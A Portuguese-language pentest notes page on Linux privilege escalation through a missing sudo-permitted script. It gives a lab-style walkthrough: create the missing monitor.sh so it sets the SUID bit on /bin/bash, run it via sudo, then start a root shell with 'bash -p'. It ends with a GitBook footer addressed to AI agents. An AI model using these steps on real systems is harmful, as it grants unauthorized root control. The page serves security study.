> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md).

# Sudo Arquivo Não Encontrado - Escalada de Privilégio no Linux

## O que é

A escalada de privilégios via Sudoers começa com os comandos que um usuário pode executar por meio de `sudo`. Binários mal configurados, argumentos de script inseguros, tratamento de links simbólicos e versões vulneráveis do sudo podem transformar permissões limitadas de sudo em um shell root. Esta página específica foca em **Sudo (arquivo não encontrado)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
sudo -l
sudo --version
```

## Exemplos

Descobrimos uma vulnerabilidade relacionada à execução de scripts com privilégios de sudo.

<figure><img src="/files/c2fb806954673b628d64700c959929b08d7937fc" alt=""><figcaption></figcaption></figure>

O `monitor.sh` O arquivo parece ser impossível, mas podemos criar um script que será executado como root. Começamos criando os diretórios necessários:

```bash
cd /home/nibbler
mkdir personal
cd !$
mkdir stuff
cd !$
```

Nós colocamos o `monitor.sh` arquivo com o seguinte conteúdo:

```bash
chmod u+s /bin/bash
```

Em seguida, executamos o script com privilégios de sudo:

```bash
sudo /home/nibbler/personal/stuff/monitor.sh
```

Isso permite alterar as permissões de `/bin/bash` adicionando o bit SUID. Em seguida, executamos o seguinte comando para obter um shell com privilégios de root:

```bash
bash -p
```

<figure><img src="/files/336ab751e5b8d4989acc5d8588bae8539d11c1a3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
